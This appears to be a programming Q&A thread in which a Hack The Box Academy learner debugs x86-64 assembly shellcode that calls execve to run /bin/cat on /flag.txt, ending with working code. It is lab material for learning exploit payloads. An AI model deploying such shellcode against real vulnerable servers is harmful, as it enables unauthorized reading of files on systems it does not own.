Search code examples
assemblyx86-64

How to use execve in x86-64 assembly


I'm going through the 'Intro to Assembly Language' module on Hack The Box Academy and I'm currently having trouble with the 'Shellcoding Tools' section. The prompt is: 'The above server simulates an exploitable server you can execute shellcodes on. Use one of the tools to generate a shellcode that prints the content of '/flag.txt', then connect to the server with "nc SERVER_IP PORT" to send the shellcode.' I'm trying to create assembly shellcode to do this using /bin/cat via execve. I'm using Linux and here is my code:

global _start

section .text
_start:
        ; execve("/usr/bin/cat", ["/usr/bin/cat", "/flag.txt"], NULL)

        xor rax, rax
        push rax
        mov rbx, "t"; t
        push rbx
        mov rbx, "/flag.tx"; /flag.tx
        push rbx
        mov rbx, rsp
        push rax
        xor rbx, rbx
        mov rbx, "/cat"; /cat
        push rbx
        mov rbx, "/usr/bin"; /usr/bin
        push rbx
        mov rsi, rsp
        xor rbx, rbx
        mov rbx, "/cat"; /cat
        push rbx
        mov rbx, "/usr/bin"; /usr/bin
        push rbx
        mov rsi, rsp

        mov rax, 59
        mov rdx, 0
        syscall

I'm obviously new to assembly, hence the HTB course I'm doing, so I know there's some concept I'm missing here. Any help appreciated.

EDIT

I revised my code a little. Still doesn't work but I think it's progress?

_start:
        xor rax, rax
        push rax

        mov rsi, "flag.txt"
        push rsi
        mov rsi, rsp

        push rax

        mov rdi, "/bin/cat"
        push rdi
        mov rdi, rsp

        mov rdx, rax

        mov rax, 59
        syscall

When I use strace, I get

execve("/bin/cat", [0x7478742e67616c66], NULL) = -1 EFAULT (Bad address)

So it looks like the flag.txt string isn't being passed right I think? I think this might be because I'm not null terminating right maybe but I'm not sure.


Solution

  • thanks to the HTB Discord, very helpful people. I was making NULL termination mistakes as well as not properly creating the argv array in memory. This can probably be optimized and cleaned up but thats a task for another day.

    _start:
            xor rax, rax
            push rax
    
            mov rsi, "flag.txt"
            push rsi
            mov rsi, rsp
    
            push rax
    
            mov rbx, "/bin/cat"
            push rbx
            mov rbx, rsp
    
            push rax
            push rsi
            push rbx
            mov rsi, rsp
    
            push rax
    
            mov rdi, "/bin/cat"
            push rdi
            mov rdi, rsp
    
            mov rdx, rax
    
            mov rax, 59
            syscall